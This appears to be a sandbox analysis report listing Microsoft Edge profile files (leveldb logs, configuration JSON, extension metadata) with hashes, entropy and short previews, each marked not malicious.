SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.156955776852243
Encrypted:	false
SSDEEP:	6:iOXAEVdFERM1N723oH+Tcwtk2WwnvB2KLl1AETfROq2PN723oH+Tcwtk2WwnvIF2:7wasRsaYebkxwnvFLcVvVaYebkxwnQF2
MD5:	AE5010A584A494605DCD7DA4E048C988
SHA1:	D4B0AAB16FDACAAC8B1902BFEF2C6FB3E64B2AD1
SHA-256:	C271383CB69AE4946C9B591BAA53FCE801C3ADFB0E4AC69DEB58698872F44612
SHA-512:	443A463A3086497DC2327E915416522BC768B8EC6D0A9D170D06FFB6CDD5260B02C58804BBAB4DC005AF3068ED97B19DE8C9874FBB09680EC9597B5D1BC9164F
Malicious:	false
Preview:	2025/02/01-10:53:56.337 1c24 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/02/01-10:53:56.368 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612422854914
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ro:C1gAg1zfvg
MD5:	76F4E81532B6A4CDDC9C0052744B5DF8
SHA1:	430B378F552513D5096CBB0D90C8E026167AD986
SHA-256:	A9D2EF5AFE500E19D5B6E4E456DBCB708A4ECB680E3269543C03ACD509F38CDD
SHA-512:	B82794CAEA09149C1FC13612F17C46F3BCEC57CFE1180A6A7742C28509BCAE388D0F67D922790FA914B2FDF356E155339744C8D9901E80750FAA5DED76D719E2
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.146662168705493
Encrypted:	false
SSDEEP:	6:iOXAYRVsq2PN723oH+Tcwt8aPrqIFUtFAYRXTsZmw7AYRXTMkwON723oH+Tcwt8h:7wYR6vVaYebL3FUtuYRDs/cYRDM5OaYD
MD5:	57E81A39C7E9BC7A546504B96E11E7FE
SHA1:	0F4C14835083895FC4BB0B781D6BC8F7EDB88D58
SHA-256:	1570A18B15C680C0150CE441E591C1516D26E4EE31135003F4902F939787D46A
SHA-512:	3D63F97E4735C16634886F14721AD38A96C62B17C6AB4631388D07FCA3F5D229E40AD596F1DA3FE0E950B865E2F5A183DA38B8897D68B834E6A46F4F938D1982
Malicious:	false
Preview:	2025/02/01-10:53:50.942 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/01-10:53:50.943 1694 Recovering log #3.2025/02/01-10:53:50.943 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.146662168705493
Encrypted:	false
SSDEEP:	6:iOXAYRVsq2PN723oH+Tcwt8aPrqIFUtFAYRXTsZmw7AYRXTMkwON723oH+Tcwt8h:7wYR6vVaYebL3FUtuYRDs/cYRDM5OaYD
MD5:	57E81A39C7E9BC7A546504B96E11E7FE
SHA1:	0F4C14835083895FC4BB0B781D6BC8F7EDB88D58
SHA-256:	1570A18B15C680C0150CE441E591C1516D26E4EE31135003F4902F939787D46A
SHA-512:	3D63F97E4735C16634886F14721AD38A96C62B17C6AB4631388D07FCA3F5D229E40AD596F1DA3FE0E950B865E2F5A183DA38B8897D68B834E6A46F4F938D1982
Malicious:	false
Preview:	2025/02/01-10:53:50.942 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/01-10:53:50.943 1694 Recovering log #3.2025/02/01-10:53:50.943 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.160784111581801
Encrypted:	false
SSDEEP:	6:iOXAYRGOq2PN723oH+Tcwt865IFUtFAYRJH9Zmw7AYRJHPkwON723oH+Tcwt86+e:7wYRGOvVaYeb/WFUtuYRx9/cYRxP5Oar
MD5:	DAC9AF5E92706A220A15DAD5C5193A93
SHA1:	B5ACEBB2A620EA07828D1D09CAB5E51066CEA08D
SHA-256:	296664E8AF090EDF7EE1C7B0B4D7FB750B58AC24D2651306A0FC37AC503DF9E0
SHA-512:	495E08D5F0109A2ACF6871E71D9B76A946BD4F25D5679CFB9500553E2DC52B06AE136CF6252A8588B5B6D559AA7F6BA7541ED4DC2F10E208EC8FE2D9930BFFC9
Malicious:	false
Preview:	2025/02/01-10:53:50.945 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/01-10:53:50.946 1694 Recovering log #3.2025/02/01-10:53:50.946 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.160784111581801
Encrypted:	false
SSDEEP:	6:iOXAYRGOq2PN723oH+Tcwt865IFUtFAYRJH9Zmw7AYRJHPkwON723oH+Tcwt86+e:7wYRGOvVaYeb/WFUtuYRx9/cYRxP5Oar
MD5:	DAC9AF5E92706A220A15DAD5C5193A93
SHA1:	B5ACEBB2A620EA07828D1D09CAB5E51066CEA08D
SHA-256:	296664E8AF090EDF7EE1C7B0B4D7FB750B58AC24D2651306A0FC37AC503DF9E0
SHA-512:	495E08D5F0109A2ACF6871E71D9B76A946BD4F25D5679CFB9500553E2DC52B06AE136CF6252A8588B5B6D559AA7F6BA7541ED4DC2F10E208EC8FE2D9930BFFC9
Malicious:	false
Preview:	2025/02/01-10:53:50.945 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/01-10:53:50.946 1694 Recovering log #3.2025/02/01-10:53:50.946 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.154318644532326
Encrypted:	false
SSDEEP:	6:iOXAqsFlL+q2PN723oH+Tcwt8NIFUtFAqsFz1Zmw7ATALVkwON723oH+Tcwt8+ed:7wdFIvVaYebpFUtudFz1/cT45OaYebqJ
MD5:	ECC96E19454B9EF0800D34B45D156BA8
SHA1:	FCB8E495F2524ADB3AF17E682C35DC82CA994C79
SHA-256:	09E48884DB7F75264A478968C70D8F14502B161C38E42EF1239EDCBE54EA818A
SHA-512:	F9C0F3A464A84B07FE943E8777FB5BBFB3BF69847F96B954809F8F506277D64152356BC679C842FA9EE6F8986C10CC8B0C7B01B00827EA53B8C20DFFFBA4A095
Malicious:	false
Preview:	2025/02/01-10:53:51.671 1398 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/01-10:53:51.671 1398 Recovering log #3.2025/02/01-10:53:51.672 1398 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.154318644532326
Encrypted:	false
SSDEEP:	6:iOXAqsFlL+q2PN723oH+Tcwt8NIFUtFAqsFz1Zmw7ATALVkwON723oH+Tcwt8+ed:7wdFIvVaYebpFUtudFz1/cT45OaYebqJ
MD5:	ECC96E19454B9EF0800D34B45D156BA8
SHA1:	FCB8E495F2524ADB3AF17E682C35DC82CA994C79
SHA-256:	09E48884DB7F75264A478968C70D8F14502B161C38E42EF1239EDCBE54EA818A
SHA-512:	F9C0F3A464A84B07FE943E8777FB5BBFB3BF69847F96B954809F8F506277D64152356BC679C842FA9EE6F8986C10CC8B0C7B01B00827EA53B8C20DFFFBA4A095
Malicious:	false
Preview:	2025/02/01-10:53:51.671 1398 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/01-10:53:51.671 1398 Recovering log #3.2025/02/01-10:53:51.672 1398 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:tCELvtFlljq7A/mhWJFuQ3yy7IOWU9d4dweytllrE9SFcTp4AGbNCV9RUIm:Pk75fOh4d0Xi99pEY0
MD5:	CB9900413661952ED12D42FB0FA17436
SHA1:	4EDCD2E2E3F8AC9CA7FEEE2EC4B68D172A0F26B6
SHA-256:	D7542ABDB890061E892E37F552524A876CD2A73638359D3FF2EC1764354484C1
SHA-512:	44929EA4E9E26827ADAAA805E547ECFF1DF9A61B32BCC9B6DA09FAA0A388F14E3BD72F69832687DD044B03AA3EE11A36058BF54360DE67ECC726ADA8E7C283E5
Malicious:	false
Preview:	..............'....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647812351664917
Encrypted:	false
SSDEEP:	384:aj9P0FQkQerkjlicdP/KbtPgam6IThj773pLLRKToaAu:adqe2mlldP/VjF7NRKcC
MD5:	AE5731BC3D61E09452ED20708E3D7833
SHA1:	3A4EEE73DDEE522C315FEDEB669666263275C8B3
SHA-256:	39620F2579F0E9D536E84B81D359B300B00C83CB2FB1B7D433A96242402AC622
SHA-512:	A951B0A242228440F6367F0378863127880A79F93605B8FCCC40C68DDD5C1E86BAB05D28667B18C29655CFB03D4B41099EF6AD937E2C97FCBE0337ACAEB3AAF4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.242510615633003
Encrypted:	false
SSDEEP:	12:7wevVaYeb8rcHEZrELFUtuo/cdZT5OaYeb8rcHEZrEZSJ:7w8VaYeb8nZrExguLdZFOaYeb8nZrEZe
MD5:	A6CC289A8B5D428FC8E07C5597CCFEEB
SHA1:	5B5AA5E32C1102B44120A71503945F2FF23AD5DA
SHA-256:	0DE720DAC676C33CE0211B96800A6E9F69E30AD2B580A62E63502C8D366C7789
SHA-512:	1F2D83B7D3E548E783EA59F56DB4F397250AE5ABA907C6D7C4C9198D95EFC01DD8BC2B66CFC6CB052041EB98A12F10281CAC0DE4AD7175E48052BD463A020DDF
Malicious:	false
Preview:	2025/02/01-10:53:55.902 14c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/01-10:53:55.903 14c8 Recovering log #3.2025/02/01-10:53:55.904 14c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.242510615633003
Encrypted:	false
SSDEEP:	12:7wevVaYeb8rcHEZrELFUtuo/cdZT5OaYeb8rcHEZrEZSJ:7w8VaYeb8nZrExguLdZFOaYeb8nZrEZe
MD5:	A6CC289A8B5D428FC8E07C5597CCFEEB
SHA1:	5B5AA5E32C1102B44120A71503945F2FF23AD5DA
SHA-256:	0DE720DAC676C33CE0211B96800A6E9F69E30AD2B580A62E63502C8D366C7789
SHA-512:	1F2D83B7D3E548E783EA59F56DB4F397250AE5ABA907C6D7C4C9198D95EFC01DD8BC2B66CFC6CB052041EB98A12F10281CAC0DE4AD7175E48052BD463A020DDF
Malicious:	false
Preview:	2025/02/01-10:53:55.902 14c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/01-10:53:55.903 14c8 Recovering log #3.2025/02/01-10:53:55.904 14c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1603
Entropy (8bit):	5.586909466279706
Encrypted:	false
SSDEEP:	48:pZFWr1vaXZ6WV03Sx49RHHS2/48ylszyG:pH6vY4MeTQ8osp
MD5:	66BB425B50D02533C49B0D8724AE7A12
SHA1:	D8037FAF9A9B30BE675598B78E4124F7D3BEDC84
SHA-256:	ADAFD106F212E96C0EBBEB7BBFB2429DA054D8A6DC029F44B7A95A505420B741
SHA-512:	BF21D020FD6395414C5B24C32D42923FE4E03F8055C5FC2F6846AFFF4C8C0BA80A25D3580A0982306D4D3BA87C1E01C3E18D7928F2C81E6C0575A61C909A1A6C
Malicious:	false
Preview:	..V.<................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1212}.!_https://ntp.msn.com..LastKnownPV..1738425237956.-_https://ntp.msn.com..LastVisuallyReadyMarker..1738425239045.._https://ntp.msn.com..MUID!.068200E89A0E61812B5B156E9B8460A6.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1738425238034,"schedule":[-1,-1,36,14,-1,-1,24],"scheduleFixed":[-1,-1,36,14,-1,-1,24],"simpleSchedule":[44,13,37,28,23,21,29]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1738425240407.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250131.177"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_ht

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.081010701229948
Encrypted:	false
SSDEEP:	6:iOXAK4q2PN723oH+Tcwt8a2jMGIFUtFAupJZmw7AkFDkwON723oH+Tcwt8a2jMmd:7wpvVaYeb8EFUtuuD/ckt5OaYeb8bJ
MD5:	B97B39EA2BB931C7ECB2D7449B37FAF3
SHA1:	C607DBE0445093D7451078DD84CBE4BE019D3CB6
SHA-256:	DBB4C294FEC1B26136C9D7796BD4EDAF706B0A0688C98959DA448A324637B3D5
SHA-512:	1525F238D4C3B9774890948F0528AE8F032B2F93DDF7FF74C914F3E8069BBB0DFDFCD1321680030CF47959465EC0A832AA7EBF77B7DA1555FBC776BF60D72F28
Malicious:	false
Preview:	2025/02/01-10:53:51.255 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/01-10:53:51.257 17d0 Recovering log #3.2025/02/01-10:53:51.260 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.081010701229948
Encrypted:	false
SSDEEP:	6:iOXAK4q2PN723oH+Tcwt8a2jMGIFUtFAupJZmw7AkFDkwON723oH+Tcwt8a2jMmd:7wpvVaYeb8EFUtuuD/ckt5OaYeb8bJ
MD5:	B97B39EA2BB931C7ECB2D7449B37FAF3
SHA1:	C607DBE0445093D7451078DD84CBE4BE019D3CB6
SHA-256:	DBB4C294FEC1B26136C9D7796BD4EDAF706B0A0688C98959DA448A324637B3D5
SHA-512:	1525F238D4C3B9774890948F0528AE8F032B2F93DDF7FF74C914F3E8069BBB0DFDFCD1321680030CF47959465EC0A832AA7EBF77B7DA1555FBC776BF60D72F28
Malicious:	false
Preview:	2025/02/01-10:53:51.255 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/01-10:53:51.257 17d0 Recovering log #3.2025/02/01-10:53:51.260 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\014b587f-831a-4b67-a836-97278ee857d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\05621037-1067-4d27-b811-c94813d8d515.tmp

Download File

